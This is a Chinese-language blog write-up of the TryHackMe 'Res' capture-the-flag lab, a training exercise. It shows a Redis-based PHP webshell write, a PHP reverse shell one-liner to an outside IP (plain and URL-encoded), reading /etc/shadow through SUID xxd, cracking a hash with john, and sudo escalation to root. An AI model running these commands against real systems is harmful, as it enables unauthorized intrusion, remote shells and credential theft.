tryhackme-Res(资源)

这是我第一次接触redis,这个题目是最简单的

信息收集

使用nmap进行端口扫描

根据扫描结果,开放了80端口和6379端口(redis)服务

80端口进行目录扫描没有得到任何有用的信息,占时没太大用处

根据改题目的描述和题目名称,改题目需要对redis服务进行下手,在网上查找到了redis服务渗透测试指南
参考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration

其中讲到可以使用redis写入PHP Webshell

代码如下

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

初始访问权限

使用redis-cli -h target_ip -p 6379连接靶机
接着使用上述方法写入Junglezt.php,内容为<?php system($_GET['cmd']);?>

现在我们可以执行命令了,使用php获取反弹shell

代码如下:

php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

由于是GET方式传参,需要使用url编码,编码后如下

php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

传入cmd参数,在本地nc -lvp 4444监听,使用浏览器访问获得shell

10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

接着获取user.txt

权限提升

接着需要权限提升,查找suid文件发现xxd命令可以使用,查找GTFOBins找到对应方法可以读取任意文件,我们读取/etc/shadow

得到vianka用户的hash,使用john破解

得到vianka用户的密码为beautiful1

使用su切换到该用户时报错

是因为终端的问题,由于靶机的22端口也没有开放,我们也没有权限开放靶机22端口的权限,这里需要使用python生成一个终端

python -c "import pty;pty.spawn('/bin/bash')"

获取root权限

我们需要继续提权,接着使用sudo -l发现我们可以执行任何root用户的命令,使用sudo su得到root权限

总结

  1. 这个靶机学习到了一些redis的基本操作,另外还有一个ssh私钥获取shell的方法,但是不适用这个靶机
  2. php反弹shell的终端不可以使用su命令,在没有开启22端口的情况下,可以使用pythonpty方法获取一个伪终端
posted @ 2024-03-08 21:11  Junglezt  阅读(14)  评论(0编辑  收藏  举报